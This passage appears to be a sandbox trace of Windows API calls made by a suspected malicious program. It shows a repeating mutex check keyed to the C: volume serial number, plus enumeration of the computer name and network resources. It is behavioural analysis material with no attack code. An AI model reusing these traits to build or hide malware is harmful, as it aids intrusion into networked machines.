(in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bf90 | out: hHeap=0x170000) returned 1 [0089.840] GetProcessHeap () returned 0x170000 [0089.840] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x19f6e8 [0089.840] GetProcessHeap () returned 0x170000 [0089.840] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x19fc88 [0089.840] GetProcessHeap () returned 0x170000 [0089.840] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x19fc88, Size=0x72) returned 0x1a4468 [0089.841] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0089.841] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0089.841] CloseHandle (hObject=0x2d4) returned 1 [0089.841] GetProcessHeap () returned 0x170000 [0089.841] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x19f6e8 | out: hHeap=0x170000) returned 1 [0089.841] GetProcessHeap () returned 0x170000 [0089.841] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a4468 | out: hHeap=0x170000) returned 1 [0089.841] Sleep (dwMilliseconds=0x3e8) [0091.108] GetProcessHeap () returned 0x170000 [0091.108] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c288 [0091.108] GetProcessHeap () returned 0x170000 [0091.108] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c2d8 [0091.108] GetProcessHeap () returned 0x170000 [0091.108] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c0a8 [0091.108] GetProcessHeap () returned 0x170000 [0091.108] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0091.109] GetProcessHeap () returned 0x170000 [0091.109] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0091.109] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c2d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0091.109] GetProcessHeap () returned 0x170000 [0091.109] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0a8 | out: hHeap=0x170000) returned 1 [0091.109] GetProcessHeap () returned 0x170000 [0091.109] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0091.109] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0091.109] GetProcessHeap () returned 0x170000 [0091.109] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0091.109] GetProcessHeap () returned 0x170000 [0091.109] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x1a01e0 [0091.109] GetProcessHeap () returned 0x170000 [0091.109] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x1a0198 [0091.109] GetProcessHeap () returned 0x170000 [0091.109] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x1a0198, Size=0x72) returned 0x1a4568 [0091.110] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0091.110] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0091.110] CloseHandle (hObject=0x2d4) returned 1 [0091.110] GetProcessHeap () returned 0x170000 [0091.110] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a01e0 | out: hHeap=0x170000) returned 1 [0091.110] GetProcessHeap () returned 0x170000 [0091.110] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a4568 | out: hHeap=0x170000) returned 1 [0091.110] Sleep (dwMilliseconds=0x3e8) [0092.857] GetProcessHeap () returned 0x170000 [0092.857] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18bf90 [0092.857] GetProcessHeap () returned 0x170000 [0092.857] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c288 [0092.858] GetProcessHeap () returned 0x170000 [0092.858] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c2d8 [0092.858] GetProcessHeap () returned 0x170000 [0092.858] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0092.858] GetProcessHeap () returned 0x170000 [0092.858] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0092.858] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c288, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0092.858] GetProcessHeap () returned 0x170000 [0092.858] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0092.858] GetProcessHeap () returned 0x170000 [0092.858] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bf90 | out: hHeap=0x170000) returned 1 [0092.858] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0092.859] GetProcessHeap () returned 0x170000 [0092.859] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0092.859] GetProcessHeap () returned 0x170000 [0092.859] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x19fe38 [0092.859] GetProcessHeap () returned 0x170000 [0092.859] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x19fe80 [0092.859] GetProcessHeap () returned 0x170000 [0092.859] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x19fe80, Size=0x72) returned 0x1a4368 [0092.859] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0092.859] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0092.859] CloseHandle (hObject=0x2d4) returned 1 [0092.859] GetProcessHeap () returned 0x170000 [0092.859] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x19fe38 | out: hHeap=0x170000) returned 1 [0092.859] GetProcessHeap () returned 0x170000 [0092.859] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a4368 | out: hHeap=0x170000) returned 1 [0092.859] Sleep (dwMilliseconds=0x3e8) [0094.196] GetProcessHeap () returned 0x170000 [0094.196] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18bf90 [0094.196] GetProcessHeap () returned 0x170000 [0094.196] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c288 [0094.196] GetProcessHeap () returned 0x170000 [0094.196] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c2d8 [0094.196] GetProcessHeap () returned 0x170000 [0094.196] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0094.196] GetProcessHeap () returned 0x170000 [0094.196] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0094.196] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c288, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0094.196] GetProcessHeap () returned 0x170000 [0094.196] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0094.196] GetProcessHeap () returned 0x170000 [0094.196] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bf90 | out: hHeap=0x170000) returned 1 [0094.196] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0094.201] GetProcessHeap () returned 0x170000 [0094.201] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0094.201] GetProcessHeap () returned 0x170000 [0094.201] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x19ff10 [0094.201] GetProcessHeap () returned 0x170000 [0094.201] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x19ffe8 [0094.201] GetProcessHeap () returned 0x170000 [0094.201] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x19ffe8, Size=0x72) returned 0x1a4068 [0094.201] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2cc [0094.201] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0094.202] CloseHandle (hObject=0x2cc) returned 1 [0094.202] GetProcessHeap () returned 0x170000 [0094.202] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x19ff10 | out: hHeap=0x170000) returned 1 [0094.202] GetProcessHeap () returned 0x170000 [0094.202] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a4068 | out: hHeap=0x170000) returned 1 [0094.202] Sleep (dwMilliseconds=0x3e8) [0095.909] GetProcessHeap () returned 0x170000 [0095.909] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c288 [0095.909] GetProcessHeap () returned 0x170000 [0095.909] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c0a8 [0095.911] GetProcessHeap () returned 0x170000 [0095.911] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c2d8 [0095.911] GetProcessHeap () returned 0x170000 [0095.912] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0095.912] GetProcessHeap () returned 0x170000 [0095.912] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0095.912] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c0a8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0095.913] GetProcessHeap () returned 0x170000 [0095.913] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0095.913] GetProcessHeap () returned 0x170000 [0095.913] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0095.913] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0095.920] GetProcessHeap () returned 0x170000 [0095.920] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0a8 | out: hHeap=0x170000) returned 1 [0095.920] GetProcessHeap () returned 0x170000 [0095.920] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x19fb20 [0095.920] GetProcessHeap () returned 0x170000 [0095.920] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x19fc88 [0095.920] GetProcessHeap () returned 0x170000 [0095.920] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x19fc88, Size=0x72) returned 0x1a4b68 [0095.923] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d8 [0095.923] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x0) returned 0x102 [0095.924] CloseHandle (hObject=0x2d8) returned 1 [0095.924] GetProcessHeap () returned 0x170000 [0095.924] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x19fb20 | out: hHeap=0x170000) returned 1 [0095.925] GetProcessHeap () returned 0x170000 [0095.925] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a4b68 | out: hHeap=0x170000) returned 1 [0095.925] Sleep (dwMilliseconds=0x3e8) [0097.425] GetProcessHeap () returned 0x170000 [0097.425] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c288 [0097.425] GetProcessHeap () returned 0x170000 [0097.425] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c2d8 [0097.425] GetProcessHeap () returned 0x170000 [0097.425] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c0a8 [0097.426] GetProcessHeap () returned 0x170000 [0097.426] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x18ce08 [0097.426] GetProcessHeap () returned 0x170000 [0097.426] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce08 | out: hHeap=0x170000) returned 1 [0097.426] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c2d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0097.426] GetProcessHeap () returned 0x170000 [0097.426] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0a8 | out: hHeap=0x170000) returned 1 [0097.426] GetProcessHeap () returned 0x170000 [0097.426] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0097.426] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0097.426] GetProcessHeap () returned 0x170000 [0097.426] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0097.426] GetProcessHeap () returned 0x170000 [0097.426] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x19fad8 [0097.427] GetProcessHeap () returned 0x170000 [0097.427] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x19fbf8 [0097.427] GetProcessHeap () returned 0x170000 [0097.427] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x19fbf8, Size=0x72) returned 0x1a4b68 [0097.427] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d8 [0097.427] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x0) returned 0x102 [0097.427] CloseHandle (hObject=0x2d8) returned 1 [0097.427] GetProcessHeap () returned 0x170000 [0097.427] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x19fad8 | out: hHeap=0x170000) returned 1 [0097.427] GetProcessHeap () returned 0x170000 [0097.427] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a4b68 | out: hHeap=0x170000) returned 1 [0097.427] Sleep (dwMilliseconds=0x3e8) [0098.578] GetProcessHeap () returned 0x170000 [0098.578] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c288 [0098.578] GetProcessHeap () returned 0x170000 [0098.578] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c2d8 [0098.578] GetProcessHeap () returned 0x170000 [0098.578] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18bf90 [0098.578] GetProcessHeap () returned 0x170000 [0098.578] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x19fa88 [0098.579] GetProcessHeap () returned 0x170000 [0098.579] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x19fa88 | out: hHeap=0x170000) returned 1 [0098.579] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c2d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0098.579] GetProcessHeap () returned 0x170000 [0098.579] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bf90 | out: hHeap=0x170000) returned 1 [0098.579] GetProcessHeap () returned 0x170000 [0098.579] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0098.579] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0098.580] GetProcessHeap () returned 0x170000 [0098.580] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0098.580] GetProcessHeap () returned 0x170000 [0098.580] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x1c0028 [0098.580] GetProcessHeap () returned 0x170000 [0098.580] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x1c0220 [0098.580] GetProcessHeap () returned 0x170000 [0098.580] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x1c0220, Size=0x72) returned 0x1a4468 [0098.580] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d8 [0098.580] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x0) returned 0x102 [0098.580] CloseHandle (hObject=0x2d8) returned 1 [0098.580] GetProcessHeap () returned 0x170000 [0098.580] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1c0028 | out: hHeap=0x170000) returned 1 [0098.580] GetProcessHeap () returned 0x170000 [0098.580] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a4468 | out: hHeap=0x170000) returned 1 [0098.581] Sleep (dwMilliseconds=0x3e8) [0099.683] GetProcessHeap () returned 0x170000 [0099.683] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c0a8 [0099.683] GetProcessHeap () returned 0x170000 [0099.683] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c288 [0099.683] GetProcessHeap () returned 0x170000 [0099.683] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c2d8 [0099.683] GetProcessHeap () returned 0x170000 [0099.683] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x19f958 [0099.683] GetProcessHeap () returned 0x170000 [0099.683] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x19f958 | out: hHeap=0x170000) returned 1 [0099.683] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c288, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0099.684] GetProcessHeap () returned 0x170000 [0099.684] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0099.684] GetProcessHeap () returned 0x170000 [0099.684] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0a8 | out: hHeap=0x170000) returned 1 [0099.684] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0099.684] GetProcessHeap () returned 0x170000 [0099.684] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0099.684] GetProcessHeap () returned 0x170000 [0099.685] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x1c0580 [0099.685] GetProcessHeap () returned 0x170000 [0099.685] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x1c0100 [0099.685] GetProcessHeap () returned 0x170000 [0099.685] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x1c0100, Size=0x72) returned 0x1a4368 [0099.685] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d8 [0099.685] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x0) returned 0x102 [0099.685] CloseHandle (hObject=0x2d8) returned 1 [0099.685] GetProcessHeap () returned 0x170000 [0099.685] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1c0580 | out: hHeap=0x170000) returned 1 [0099.685] GetProcessHeap () returned 0x170000 [0099.685] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a4368 | out: hHeap=0x170000) returned 1 [0099.685] Sleep (dwMilliseconds=0x3e8) [0100.697] GetProcessHeap () returned 0x170000 [0100.697] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c0a8 [0100.697] GetProcessHeap () returned 0x170000 [0100.697] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c2d8 [0100.698] GetProcessHeap () returned 0x170000 [0100.698] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c288 [0100.698] GetProcessHeap () returned 0x170000 [0100.698] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x19ff48 [0100.698] GetProcessHeap () returned 0x170000 [0100.698] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x19ff48 | out: hHeap=0x170000) returned 1 [0100.698] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c2d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0100.698] GetProcessHeap () returned 0x170000 [0100.698] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c288 | out: hHeap=0x170000) returned 1 [0100.698] GetProcessHeap () returned 0x170000 [0100.698] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0a8 | out: hHeap=0x170000) returned 1 [0100.698] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x23efac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23efac4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0100.698] GetProcessHeap () returned 0x170000 [0100.698] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c2d8 | out: hHeap=0x170000) returned 1 [0100.698] GetProcessHeap () returned 0x170000 [0100.698] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x17dd68 [0100.698] GetProcessHeap () returned 0x170000 [0100.698] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x1c02b0 [0100.698] GetProcessHeap () returned 0x170000 [0100.698] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x1c02b0, Size=0x72) returned 0x1a44e8 [0100.698] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x234 [0100.698] WaitForSingleObject (hHandle=0x234, dwMilliseconds=0x0) returned 0x102 [0100.698] CloseHandle (hObject=0x234) returned 1 [0100.699] GetProcessHeap () returned 0x170000 [0100.699] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17dd68 | out: hHeap=0x170000) returned 1 [0100.699] GetProcessHeap () returned 0x170000 [0100.699] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a44e8 | out: hHeap=0x170000) returned 1 [0100.699] Sleep (dwMilliseconds=0x3e8) Thread: id = 7 os_tid = 0x10f0 [0070.228] GetProcessHeap () returned 0x170000 [0070.228] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x21a) returned 0x18f2d8 [0070.228] GetProcessHeap () returned 0x170000 [0070.228] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x28) returned 0x17ee30 [0070.229] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x250 [0070.229] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x254 [0070.229] GetComputerNameW (in: lpBuffer=0x18f2e8, nSize=0x24eff68 | out: lpBuffer="NQDPDE", nSize=0x24eff68) returned 1 [0070.229] GetProcessHeap () returned 0x170000 [0070.229] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c0f8 [0070.229] GetProcessHeap () returned 0x170000 [0070.229] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x4000) returned 0x18f500 [0070.229] GetProcessHeap () returned 0x170000 [0070.229] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x10000) returned 0x193508 [0070.229] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x24eff20 | out: lphEnum=0x24eff20*=0x17a738) returned 0x0 [0073.543] WNetEnumResourceW (in: hEnum=0x17a738, lpcCount=0x24eff18, lpBuffer=0x18f500, lpBufferSize=0x24eff24 | out: lpcCount=0x24eff18, lpBuffer=0x18f500, lpBufferSize=0x24eff24) returned 0x103 [0073.543] WNetCloseEnum (hEnum=0x17a738) returned 0x0 [0073.544] GetProcessHeap () returned 0x170000 [0073.544] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18f500 | out: hHeap=0x170000) returned 1 [0073.544] GetProcessHeap () returned 0x170000 [0073.544] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x193508 | out: hHeap=0x170000) returned 1 [0073.544] GetProcessHeap () returned 0x170000 [0073.544] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x4000) returned 0x1a7d58 [0073.544] GetProcessHeap () returned 0x170000 [0073.544] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x10000) returned 0x18f500 [0073.544] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x24eff08 | out: lphEnum=0x24eff08*=0x1810c0) returned 0x0 [0073.545] WNetEnumResourceW (in: hEnum=0x1810c0, lpcCount=0x24eff00, lpBuffer=0x1a7d58, lpBufferSize=0x24eff0c | out: lpcCount=0x24eff00, lpBuffer=0x1a7d58, lpBufferSize=0x24eff0c) returned 0x103 [0073.545] WNetCloseEnum (hEnum=0x1810c0) returned 0x0 [0073.545] GetProcessHeap () returned 0x170000 [0073.545] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1a7d58 | out: hHeap=0x170000) returned 1 [0073.545] GetProcessHeap () returned 0x170000 [0073.545] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18f500 | out: hHeap=0x170000) returned 1 [0073.545] GetProcessHeap () returned 0x170000 [0073.545] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x4000) returned 0x1a7d58 [0073.545] GetProcessHeap () returned 0x170000 [0073.545] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x10000) returned 0x18f500 [0073.545] WNetOpenEnumW (in: dwScope=0x5, 